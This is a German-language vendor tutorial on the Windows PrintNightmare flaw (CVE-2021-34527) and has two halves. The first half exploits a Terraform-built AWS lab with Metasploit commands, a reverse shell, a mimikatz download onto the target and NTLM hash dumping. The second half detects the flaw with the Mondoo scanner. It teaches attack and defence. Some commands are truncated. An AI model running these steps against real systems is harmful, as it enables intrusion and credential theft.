
In einfacheren Zeiten waren Speicherlecks und beschädigte Jobs die größten Sorgen rund um den Windows Print Spooler. Doch im Jahr 2021 wurde dieser Dienst zu einer beliebten Schachfigur einiger der zerstörerischsten Ransomware-Gruppen auf der ganzen Welt. Ein Sicherheitsforscher entdeckte einen Fehler im Windows Print Spooler, der es einem normalen Domänenbenutzer ermöglicht, sich als SYSTEM auszugeben und Code auf dem Domänencontroller auszuführen. Es wurde zu einer Windows-Sicherheitslücke CVE-2021-34527 / KB5004948, allgemein als PrintNightmare bezeichnet.
In diesem Artikel werde ich Sie durch die Schritte zum Hacken eines Windows-Computers mithilfe der PrintNightmare-Sicherheitsanfälligkeit führen. Und ich zeige Ihnen, wie Sie verhindern können, dass Sicherheitslücken wie PrintNightmare Angreifer in Ihre Infrastruktur einladen.
Hacken Sie ein Windows-System mit PrintNightmare (CVE-2021-34527/KB5004948)
Um ethisch in ein Windows-System einzudringen, erstellen wir zunächst eine Testumgebung und führen dann den Angriff in dieser Umgebung durch.
Stellen Sie ein Windows-Hacking-Labor bereit
Ich habe eine Terraform-Vorlage erstellt, mit der Sie Ihr eigenes Windows-Hacking-Labor ganz einfach einrichten können. Diese Terraform-Vorlage stellt zwei virtuelle Maschinen in Ihrem AWS-Konto bereit:
- Ein anfälliger Windows-Computer
- Ein Kali Linux-Computer, mit dem Sie den Windows-Computer angreifen
(Wir stellen sie auf demselben Konto bereit, nur um diesen Vorgang zu vereinfachen.)
Voraussetzungen
Für diese Demonstration benötigen Sie:
- Ein AWS-Konto
- Das ALS CLI auf Ihrem System installiert und konfiguriert
- Terraform auf Ihrem System installiert
- Ein AWS EC2 SSH RSA Schlüsselpaar konfiguriert
Konfiguriere deine Umgebung
Stellen Sie vor der Bereitstellung die folgenden Terraform-Umgebungsvariablen ein:
Zum Beispiel würde ich ein Terminal öffnen und diese Befehle ausführen:
export TF_VAR_region=us-east-1
export TF_VAR_demo_name=patrick
export TF_VAR_ssh_key=patrick-key
export TF_VAR_publicIP="1.1.1.1/32"
Stellen Sie eine einzige Umgebung bereit
1. Klonen Sie das GitHub-Projekt:
git clone git@github.com:Lunalectric/windows-hack-demo.git
2. Wechseln Sie in den Ordner Windows-Hack-Demo:
cd windows-hack-demo
3. Initialisieren Sie das Projekt (laden Sie die Module herunter):
terraform init
4. Überprüfe, ob alles bereit ist:
terraform plan
5. Wenden Sie die Konfiguration an:
terraform apply -auto-approve
Sobald die Bereitstellung abgeschlossen ist, sehen Sie etwas wie das Folgende:
Apply complete! Resources: 30 added, 0 changed, 0 destroyed.
Outputs:
hack_write_up = <<EOT
# Hack Windows machine
- login to your Kali machine
........
6. Erstellen Sie Ihre Hacking-Beschreibung. Dabei handelt es sich um eine Reihe von Anweisungen, die speziell für Sie für diese Demonstration generiert wurden. Es enthält die genauen Befehle zum Kopieren:
terraform output | sed "/^EOT/c\ " | sed "/hack_write_up = <<EOT/c\ " | sed 's/
Find and fix the security risks that pose the biggest threat to your business.
Nutzen Sie die PrintNightmare-Sicherheitslücke in Ihrem Hacking-Labor
Nachdem Sie Ihr Hacking-Labor eingerichtet haben, hacken wir uns mithilfe der PrintNightmare-Sicherheitslücke in den Windows-Computer Ihres Labors ein. Zuerst greifen Sie auf das System zu, dann erhalten Sie die administrative Kontrolle.
Hacken Sie sich in den Windows-Computer ein
1. Stellen Sie in Ihrem Terminal eine Verbindung zur Kali-Maschine her, von der aus Sie hacken werden. Die Adresse und das Passwort finden Sie in Ihrer hack-write-up.md-Datei.
2. Open Metasploit (ein beliebtes Open-Source-Penetrationstest-Tool):
msfconsole

3. Wenn Metasploit vollständig geladen ist, rufen Sie die Konfiguration ab, um die PrintNightmare-Sicherheitslücke auszunutzen:
use exploit/windows/dcerpc/cve_2021_1675_printnightmare
4. Geben Sie `Optionen anzeigen` ein:


5. Sie möchten die RHOSTS und Passwörter ins Visier nehmen. Geben Sie nacheinander diese Befehle ein:
set RHOSTS 10.0.4.105
set SMBUSER mondoo
set SMBPASS mondoo.com
set payload windows/x64/
run
Die Kali-Maschine stellt eine Verbindung zu einem Port her und sendet den Schadcode an das Windows-Betriebssystem. Der Code wird auf dem Windows-Computer ausgeführt und erstellt eine Reverse-Shell.
.jpeg)
6. Überprüfen Sie die IP-Adresse, um sicherzustellen, dass Sie verbunden sind: Geben Sie `ipconfig` ein. Wenn die IP-Adresse mit den RHOSTS übereinstimmt, haben Sie eine erfolgreiche Shell auf dem Computer. Du hast dich gehackt!
Erlangen Sie Root-Rechte
Jetzt, wo Sie angemeldet sind, können Sie Root-Rechte erlangen. (Das ist fast immer der nächste Schritt eines Angreifers.)
1. Um den NTLM-Hash des Administratorprofils abzurufen, geben Sie zunächst Folgendes ein:
powershell
2. Laden Sie mimikatz herunter:
wget "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip" -outfile "C:\windows\temp\mimikatz_trunk.zip"
3. Folgen Sie diesen Schritten:
a. Ändern Sie das Arbeitsverzeichnis.
b. Dekomprimieren Sie die Zip-Datei.
c. Ändern Sie das Arbeitsverzeichnis erneut.
d. Führe mimikatz aus.
e. Holen Sie sich den NTLM-Hash:
cd "C:\windows\temp\mimikatz_trunk.zip"
Expand-Archive mimikatz_trunk.zip -Force
cd mimikatz_trunk\x64
.\mimikatz.exe
sekurlsa::msv

4. Sobald Sie den NTLM-Hash haben, gehen Sie zu crackstation.net und gib es in den Hash Cracker ein. Jetzt hast du das Admin-Passwort im Klartext.
Sie haben PrintNightmare erfolgreich verwendet, um Administratorzugriff auf das Windows-System zu erhalten.
Identifizieren Sie Sicherheitsprobleme, die es Angreifern ermöglichen, in Windows-Systeme einzudringen
Sind Sie etwas verunsichert, wie einfach es war, in einen Windows-Computer einzudringen und die Kontrolle über ihn zu übernehmen? Wie sicher sind Sie, dass alle Windows-Systeme in Ihrer Flotte frei von der PrintNightmare-Sicherheitslücke sind? Und was ist mit den Hunderten anderer Sicherheitslücken in Windows? Wie können Sie sicher sein, dass Ihre Infrastruktur keine Sicherheitsprobleme aufweist, die zu einer vollständigen Gefährdung von Windows führen können?
In diesem Abschnitt übernehmen wir die Rolle des Beschützers statt des Hackers. Ich werde Sie durch den Prozess der Identifizierung von Risiken in Ihren Windows-Systemen führen.
Voraussetzung
Für diese Demonstration benötigen Sie:
- Ein Mondoo-Konto. Sie können einen kostenlos bekommen hier.
Scannen Sie ein Windows-System
Für diese Demonstration habe ich einen Vagrant-Windows-Computer eingerichtet, den Sie verwenden können.
1. Melden Sie sich über das Remote Desktop Protocol (RDP) beim Vagrant Windows 2016-System an:
xfreerdp /u:Administrator /v::3389 /h:2048 /w:2048 /p:'Password1!'
2. Öffnen Sie Windows Powershell als Administrator.

3. Installieren Sie den Mondoo Client:
A. Loggen Sie sich in Ihr Konto ein unter console.mondoo.com

B. Gehen Sie zur Seite INTEGRATIONEN und wählen Sie Windows aus.

C. Legen Sie die Powershell-Ausführungsrichtlinie fest:
Set-ExecutionPolicy RemoteSigned -scope CurrentUser
D. Kopieren Sie die von Mondoo bereitgestellten CLI-Befehle und fügen Sie sie in die Windows 2016 PowerShell ein.

E. Fügen Sie nach Abschluss der Mondoo-Client-Installation den Mondoo-Pfad hinzu und geben Sie mondoo status ein, um zu überprüfen, ob der Mondoo-Client registriert ist und funktioniert. Es sollte so aussehen:
PS C:\Users\Administrator> $env:Path = 'C:\Program Files\Mondoo\;' + $env:Path
PS C:\Users\Administrator> mondoo status
→ loaded configuration from C:\ProgramData\Mondoo\mondoo.yml using source default
! could not determine client platform information
→ Time: 2022-10-23T17:38:15Z
→ Version: 7.0.2 (API Version: 7)
→ API ConnectionConfig: https://us.api.mondoo.com
→ API Status: SERVING
→ API Time: 2022-10-23T17:38:15Z
→ API Version: 7
→ Space: //captain.api.mondoo.app/spaces/hardcore-bassi-588565
→ Client: //agents.api.mondoo.app/spaces/hardcore-bassi-588565/agents/2GXt8HJ0J8xG2xT4sTBUgtnY3nq
Nach einem Windows-Neustart wird der Installationspfad automatisch zur PowerShell-Pfadvariablen hinzugefügt.
F. Vergewissern Sie sich schnell, dass die folgenden Richtlinien für Ihren Bereich aktiviert sind:
- Informationen zur Plattformübersicht von Mondoo
- Richtlinie zum Ende der Nutzungsdauer von Plattformen von Mondoo
- Richtlinie zur Sicherheitslücke auf Plattformen von Mondoo
- Windows-Sicherheit von Mondoo
Ihr POLICY HUB sollte so aussehen:

3. Führen Sie den Mondoo-Scan in PowerShell aus:
mondoo scan local
Der Mondoo Client stellt eine Verbindung zum Mondoo-Backend her und lädt die aktivierten Richtlinien herunter. Nach dem Scan meldet der Mondoo Client die Ergebnisse zurück an das Mondoo-Backend.
Ergebnisse des Mondoo-Scans
Erkunden Sie die Scanergebnisse in der Mondoo-Konsole
Lassen Sie uns zunächst die PrintNightmare-Sicherheitslücke finden.
1. Wählen Sie die Berichts-URL, um die Mondoo-Asset-Übersichtsseite zu öffnen, auf der das Windows 2016-Asset angezeigt wird.
.png)
2. Wählen Sie Platform Vulnerabilities und dann Advisories aus.

3. Suchen Sie nach KB5004948. Das ist die Empfehlung für Albtraum drucken Sicherheitslücke, die wir zuvor genutzt haben, um auf den Windows-Computer zuzugreifen.

Schauen wir uns nun die Fehlkonfiguration an, die es uns ermöglichte, auf den NTLM-Hash des Administratorkontos zuzugreifen:
1. Wählen Sie in der Mondoo-Konsole Richtlinien aus und suchen Sie nach `Debug`.

2. Klicken Sie, um das Steuerelement zu erweitern. Sie sehen die Beschreibung des Problems und wie es behoben werden kann.
-1.png)
Auf einem Windows-Computer ist das SeDebug-Zugriffsrecht standardmäßig aktiv. Wer dieses Recht hat, kann den Windows-Prozess lsass.exe ausgeben. Dieser Prozess speichert die NTLM-Hashes, die während einer aktiven Sitzung oder von einem Dienst verwendet werden, im Cache. Es ist dieses Caching, das es uns ermöglichte, die administrative Kontrolle über das Windows-System zu erlangen.
Mondoo findet Sicherheitslücken wie PrintNightmare und Fehlkonfigurationen wie SeDebug in Ihrer gesamten Infrastruktur — nicht nur auf Windows-Systemen, sondern auf jeder Plattform, jedem Container und jeder VM und vielem mehr. Verwenden Sie Ihr Mondoo-Konto, um weiter zu scannen und herauszufinden, wie Sie Ihre Systemsicherheit erhöhen können. Wenn Sie Fragen haben, wir sind hier um zu helfen.